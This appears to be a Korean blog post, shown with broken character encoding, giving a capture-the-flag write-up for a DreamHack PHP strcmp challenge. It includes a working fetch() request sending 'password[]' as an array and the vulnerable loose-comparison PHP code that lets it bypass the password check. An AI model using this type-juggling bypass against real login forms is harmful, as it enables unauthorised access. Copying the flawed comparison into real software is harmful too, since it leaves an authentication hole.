๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - [wargame.kr] strcmp ํ’€์ด

by Janger 2023. 9. 11.
728x90
๋ฐ˜์‘ํ˜•
fetch("http://host3.dreamhack.games:20758/", {
  "headers": {
    "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
    "accept-language": "ko-KR,ko;q=0.8",
    "cache-control": "max-age=0",
    "content-type": "application/x-www-form-urlencoded",
    "sec-gpc": "1",
    "upgrade-insecure-requests": "1"
  },
  "referrer": "http://host3.dreamhack.games:20758/",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "password[]=1234",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
});

PHP์—์„œ strcmp๋Š” ๋ฐฐ์—ด, ํด๋ž˜์Šค ์ธ์Šคํ„ด์Šค, ํ•จ์ˆ˜์™€ ๋ฌธ์ž๋ฅผ ๋น„๊ตํ•˜๋ฉด NULL์ด ๋‚˜์˜ค๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

์ด์ ์„ ์ด์šฉํ•˜๋ฉด NULL == 0์ด๋ฏ€๋กœ ํ”Œ๋ž˜๊ทธ ๊ฐ’์„ ์ถœ๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

        if (strcmp($_POST['password'], $password) == 0) {
            echo "Congratulations! Flag is <b>" . $FLAG ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }

Reference

https://www.php.net/manual/ja/function.strcmp.php

728x90
๋ฐ˜์‘ํ˜•

'๐ŸดCTF > DreamHack' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

DreamHack - CSP Bypass Advanced ํ’€์ด  (0) 2023.09.10
DreamHack - chocoshop ํ’€์ด  (0) 2023.09.09
DreamHack - funjs ํ’€์ด  (0) 2023.09.09
DreamHack - [wargame.kr] tmitter ํ’€์ด  (0) 2023.09.09
DreamHack - [wargame.kr] crack crack crack it ํ’€์ด  (0) 2023.09.09